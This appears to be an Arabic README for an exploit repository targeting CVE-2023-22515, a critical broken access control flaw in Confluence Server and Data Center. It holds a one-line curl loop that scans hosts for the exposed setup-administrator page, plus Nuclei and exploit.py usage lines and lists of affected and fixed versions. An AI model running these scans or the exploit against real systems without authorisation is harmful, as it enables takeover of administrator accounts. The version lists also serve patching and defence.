CVE-2023-22515

CVE-2023-22515 هي ثغرة أمنية خطيرة تؤثر على الإصدارات المحلية من Confluence Server و Confluence Data Center، وهي ثغرة في التحكم في الوصول المكسور (Broken Access Control). خصصت Atlassian درجة أساسية CVSS تبلغ 10.0

سطر واحد لـ PoC

cat file.txt| while read host do;do curl -skL "http://$host/setup/setupadministrator.action" | grep -i "<title>Setup System Administrator" && echo $host "is VULN";done

Nuclei

nuclei -u target -t CVE-2023-22515.yaml

المتطلبات الأساسية

sudo pip install -r requirements.txt

الاستخدام

sudo python3 exploit.py --url [target]

الإصدارات المتأثرة

8.0.0
8.0.1
8.0.2
8.0.3
8.0.4
8.1.0
8.1.1
8.1.3
8.1.4
8.2.0
8.2.1
8.2.2
8.2.3
8.3.0
8.3.1
8.3.2
8.4.0
8.4.1
8.4.2
8.5.0
8.5.1

الإصدارات المُصحَّحة

8.3.3 أو أحدث
8.4.3 أو أحدث
8.5.2 (إصدار الدعم طويل الأمد) أو أحدث

المراجع

• atlassian
• nist